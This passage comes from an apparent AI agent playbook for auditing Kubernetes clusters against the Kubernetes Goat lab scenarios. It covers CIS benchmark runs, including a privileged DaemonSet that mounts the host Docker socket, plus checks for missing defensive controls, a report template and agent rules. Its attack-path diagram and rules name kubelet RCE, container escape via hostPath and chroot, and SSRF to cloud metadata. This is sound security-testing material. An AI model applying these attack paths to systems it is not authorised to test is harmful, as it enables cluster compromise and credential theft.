2>/dev/null && sleep 15 && kubectl logs job/kube-bench-master 2>/dev/null | tail -60")

Key CIS checks that map to Kubernetes Goat scenarios:

CIS Check	Finding	Scenario
1.1.*	API server configuration	Scenario 6
1.2.1	--anonymous-auth should be false	Scenario 3/16
1.2.6	--authorization-mode should not include AlwaysAllow	Scenario 6
1.2.29	--encryption-provider-config should be set	Scenario 8/12
1.2.33	--audit-log-path should be set	Scenario 6
4.1.*	Worker node configuration	Scenario 5/6
4.2.1	Kubelet --anonymous-auth should be false	Scenario 3
5.1.*	RBAC and ServiceAccounts	Scenario 16
5.2.*	Pod Security Standards	Scenario 4/5

10b. Container Runtime CIS Benchmark:

First detect the container runtime — this determines which benchmark to run:

kali(command="kubectl get nodes -o jsonpath='{.items[0].status.nodeInfo.containerRuntimeVersion}' 2>/dev/null")

Runtime	Benchmark	Notes
containerd://	kube-bench covers containerd via K8s CIS (Phase 10a)	Most modern clusters (kind, EKS, GKE, AKS)
docker://	docker-bench-security	Legacy Docker runtime only
cri-o://	kube-bench covers CRI-O via K8s CIS (Phase 10a)	OpenShift clusters

Docker runtime only — deploy docker-bench-security as a DaemonSet:

kali(command="kubectl apply -f - <<'EOF'
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: docker-bench
spec:
  selector:
    matchLabels:
      name: docker-bench
  template:
    metadata:
      labels:
        name: docker-bench
    spec:
      hostPID: true
      hostIPC: true
      hostNetwork: true
      containers:
      - name: docker-bench
        image: docker/docker-bench-security
        command: [\"sh\", \"-c\", \"docker-bench-security.sh && sleep 3600\"]
        securityContext:
          privileged: true
        volumeMounts:
        - name: docker-sock
          mountPath: /var/run/docker.sock
          readOnly: true
        - name: etc
          mountPath: /etc
          readOnly: true
      volumes:
      - name: docker-sock
        hostPath:
          path: /var/run/docker.sock
      - name: etc
        hostPath:
          path: /etc
EOF
2>/dev/null && sleep 20 && kubectl logs ds/docker-bench 2>/dev/null | tail -40")

containerd/CRI-O runtime — skip docker-bench-security (not applicable). The kube-bench run from Phase 10a already covers containerd-specific node configuration. Log a note explaining why docker-bench was skipped.

10c. API server configuration audit (manual):

kali(command="kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' 2>/dev/null | tr ',' '\\n' | grep -E 'anonymous-auth|authorization-mode|enable-admission|encryption-provider|audit-log|allow-privileged|insecure-port|service-account-lookup'")

Check these critical API server flags:

Flag	Secure Value	Risk if Missing/Wrong
--anonymous-auth	false	Unauthenticated API access
--authorization-mode	Node,RBAC (no AlwaysAllow)	No authorization enforcement
--enable-admission-plugins	Include PodSecurity, NodeRestriction	No workload restrictions
--encryption-provider-config	Set to encryption config file	Secrets in plaintext in etcd
--audit-log-path	Set to log file	No audit trail
--insecure-port	0	Unauthenticated HTTP API
--kubelet-certificate-authority	Set	No kubelet auth verification

---

Phase 11 — Defensive Controls Gap Analysis (thorough)

Check for the presence of security tools and controls. Their ABSENCE is a finding.

11a. Admission controllers:

kali(command="kubectl get pods --all-namespaces 2>/dev/null | grep -iE 'gatekeeper|kyverno|falco|tetragon|kubearmor|neuvector|twistlock|prisma|aqua|stackrox'")
kali(command="kubectl get validatingwebhookconfigurations 2>/dev/null")
kali(command="kubectl get mutatingwebhookconfigurations 2>/dev/null")
kali(command="kubectl api-resources 2>/dev/null | grep -iE 'constraint|policy|kyverno'")

No admission webhooks = Medium finding — no policy enforcement beyond built-in controllers.

11b. Pod Security Standards enforcement:

kali(command="kubectl get namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for ns in d.get(\"items\", []):
    name = ns[\"metadata\"][\"name\"]
    labels = ns[\"metadata\"].get(\"labels\", {})
    enforce = labels.get(\"pod-security.kubernetes.io/enforce\", \"NONE\")
    audit = labels.get(\"pod-security.kubernetes.io/audit\", \"NONE\")
    warn = labels.get(\"pod-security.kubernetes.io/warn\", \"NONE\")
    if enforce == \"NONE\" and audit == \"NONE\" and warn == \"NONE\":
        print(f\"MEDIUM: {name}: no PodSecurity labels (unrestricted workloads)\")
    else:
        print(f\"OK: {name}: enforce={enforce} audit={audit} warn={warn}\")
' 2>/dev/null")

11c. Runtime security monitoring:

kali(command="kubectl get pods --all-namespaces 2>/dev/null | grep -iE 'falco|tetragon|sysdig|cilium'")
kali(command="kubectl get daemonsets --all-namespaces 2>/dev/null | grep -iE 'falco|tetragon|sysdig'")

No runtime security tool = Medium finding — no detection of container escape, sensitive file access, or suspicious process execution.

11d. Audit logging:

kali(command="kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' 2>/dev/null | tr ',' '\\n' | grep audit")

No --audit-log-path = High finding — all API actions are unlogged.

11e. Resource limits and quotas:

kali(command="kubectl get limitranges --all-namespaces 2>/dev/null")
kali(command="kubectl get resourcequotas --all-namespaces 2>/dev/null")

No LimitRange or ResourceQuota = Medium finding — pods can consume unlimited resources (DoS vector).

11f. Image pull policy and allowed registries:

kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for p in d.get(\"items\", []):
    for c in p[\"spec\"].get(\"containers\", []):
        policy = c.get(\"imagePullPolicy\", \"IfNotPresent\")
        image = c.get(\"image\", \"\")
        # Flag: Always pull policy missing for latest tags
        if \":latest\" in image and policy != \"Always\":
            print(f\"LOW: {p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: {image} with pullPolicy={policy}\")
        # Flag: Docker Hub images without org/digest
        if \"/\" not in image.split(\":\")[0] or (not image.startswith(\"gcr.io\") and not image.startswith(\"registry.\") and \"@sha256:\" not in image):
            print(f\"INFO: {p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: unpinned image {image}\")
' 2>/dev/null | head -30")

---

Phase 12 — Attack Path Diagram & Report

1. Call report(action="diagram", data={...}) with a comprehensive attack path map showing all discovered vectors:

flowchart TD
    EXT["External Attacker"]
    API["K8s API :6443"]
    ETCD["etcd :2379"]
    KUB["Kubelet :10250"]
    NP["NodePort Services"]
    REG["Private Registry :5000"]
    DASH["Dashboard"]
    POD["Compromised Pod"]
    SA["SA Token"]
    HOST["Host Node"]
    SECRETS["K8s Secrets"]
    META["Cloud Metadata"]
    CROSS["Cross-NS Services"]

    EXT -->|"anon auth"| API
    EXT -->|"unauthenticated"| ETCD
    EXT -->|"anon /run RCE"| KUB
    EXT -->|"scan 30000-32767"| NP
    EXT -->|"/v2/_catalog"| REG

    API -->|"cluster-admin SA"| DASH
    API -->|"list all"| SECRETS
    KUB -->|"exec"| POD

    POD -->|"auto-mounted"| SA
    POD -->|"hostPath/chroot"| HOST
    POD -->|"SSRF"| META
    POD -->|"flat network"| CROSS
    SA -->|"RBAC abuse"| API

    HOST -->|"admin.conf"| API

    style EXT fill:#ff6b6b,color:#fff
    style ETCD fill:#ff6b6b,color:#fff
    style HOST fill:#ffaa00
    style SECRETS fill:#ff6b6b,color:#fff

2. Call report(action="note", data={...}) with assessment summary:

Container/K8s Security Assessment Summary:
  Cluster version:         [version]
  API server auth:         [anonymous/token/cert]
  Kubelet auth:            [anonymous/AlwaysAllow/Webhook]
  etcd access:             [exposed/authenticated/encrypted]
  RBAC issues:             [count] overly permissive roles
  Privileged pods:         [count]
  Container escapes:       [count] vectors ([docker.sock/containerd.sock/hostPath/privileged/chroot])
  Secrets exposed:         [count] ([env-vars/volumes/etcd-plaintext])
  Image vulns:             [critical] critical, [high] high
  Hidden layer secrets:    [count] images with secrets in layers
  Network policies:        [present/absent] ([count] namespaces without)
  NodePort services:       [count] externally accessible
  Cross-NS connectivity:   [verified/blocked]
  Private registries:      [count] unauthenticated
  CIS benchmark:           [pass] pass, [fail] fail, [warn] warn
  Admission controllers:   [present/absent] ([tools])
  Runtime security:        [present/absent] ([tools])
  Audit logging:           [enabled/disabled]
  Resource limits:         [enforced/missing]
  Cloud metadata access:   [accessible/blocked]

3. Call session(action="complete", options={...}) with summary

---

Kubernetes Goat Scenario Coverage Map

This table maps each Kubernetes Goat attack scenario to the phase in this skill that detects it.

#	Scenario	Phase	How We Detect It
1	Sensitive keys in codebases	7d	.git exposure scan in running containers
2	DIND/containerd exploitation	5a	Container runtime socket discovery + exploit
3	SSRF in K8s pod	9d, 9e	Cloud metadata SSRF + K8s DNS service discovery
4	Container escape to host	5b, 5c	Privileged escape via chroot + hostPath abuse
5	Docker CIS benchmarks	10b	docker-bench-security audit
6	K8s CIS benchmarks	10a	kube-bench CIS audit
7	Private registry attack	8f	Registry /v2/_catalog + manifest env var extraction
8	NodePort exposed services	2	NodePort service enumeration + probing
10	Crypto miner in container	8c, 8e	Image layer inspection + process monitoring
11	Namespace bypass	9b, 9c	Cross-namespace connectivity test
12	Environment info gathering	7c	Env var + mount + proc enumeration from inside pod
13	DoS via resources	11e, 4	LimitRange/ResourceQuota/resource limits audit
14	Hacker container	6b, 11a	Pod creation RBAC + admission controller check
15	Hidden in layers	8c, 8d	docker history + docker save layer extraction + dive
16	RBAC misconfiguration	6a-6d	Full RBAC audit + SA token API testing
17	KubeAudit defense	11a	Check for audit tools presence
18	Falco runtime detection	11c	Check for Falco DaemonSet
19	Popeye sanitizer	11a	Check for cluster sanitizer tools
20	NetworkPolicy defense	9a	Check for NetworkPolicy presence
21	Tetragon/eBPF	11c	Check for Tetragon/Cilium DaemonSet
22	Kyverno policy engine	11a	Check for Kyverno admission webhooks

---

Chaining Other Skills

Skill	When to invoke
/post-exploit	Container escape achieved — post-exploitation on host node
/credential-audit	Default creds found on exposed services (Redis, dashboards)
/network-assess	Internal network beyond K8s (VLAN, ARP, broadcast protocols)
/ssl-tls-audit	TLS services on K8s ingress or NodePorts — deep TLS audit
/threat-modeling	Produce PASTA threat model of the K8s architecture
/gh-export	When user asks to file GitHub issues

---

Context Recovery After Compaction

When your context is compacted mid-skill:

1. Call session(action="recovery") before doing anything else — returns tools_already_run, in_progress_cells, pending_escalations, and EXECUTE_NOW
2. Resume in_progress cells first — notes record which escape vectors, RBAC bindings, or pod configurations were partially tested
3. Follow pending_escalations — e.g., "test service account token against K8s API for cluster-admin" leads flagged mid-scan
4. Skip completed phases in tools_already_run — do not re-run trivy or kube-bench if already recorded
5. Never assert container escape from memory — after compaction, re-run the confirming amicontained / kubectl auth can-i command before reporting

---

Rules

• session(action="start", options={...}) is mandatory — never run any other tool before it
• Batch independent tools in the same response — they execute in parallel
• When any tool returns a LIMIT message, stop immediately and call session(action="complete", options={...})
• Check anonymous auth first — unauthenticated K8s API and kubelet access are the most critical findings
• Enumerate service accounts — they're the most common K8s attack vector
• Always check NodePort range — these bypass ingress controls entirely
• Inspect image layers — secrets hidden in deleted layers are invisible at runtime but persist in the image
• Test cross-namespace connectivity — the flat network model is a lateral movement goldmine
• Check for SSRF to metadata — cloud credentials via 169.254.169.254 from pods
• Verify defensive controls — the ABSENCE of Falco, Kyverno, NetworkPolicies, audit logging is itself a finding
• Call report(action="finding", data={...}) for every confirmed weakness — include the specific resource, misconfiguration, and impact
• Test container escape only when authorized — these can affect the underlying host
• Use report(action="note", data={...}) liberally — document K8s version, RBAC findings, pod configurations
• Never fabricate findings — only report what tool output confirms
• Mermaid syntax rules: use flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs
• Call session(action="stop_kali") at the end if kali(command=...) was used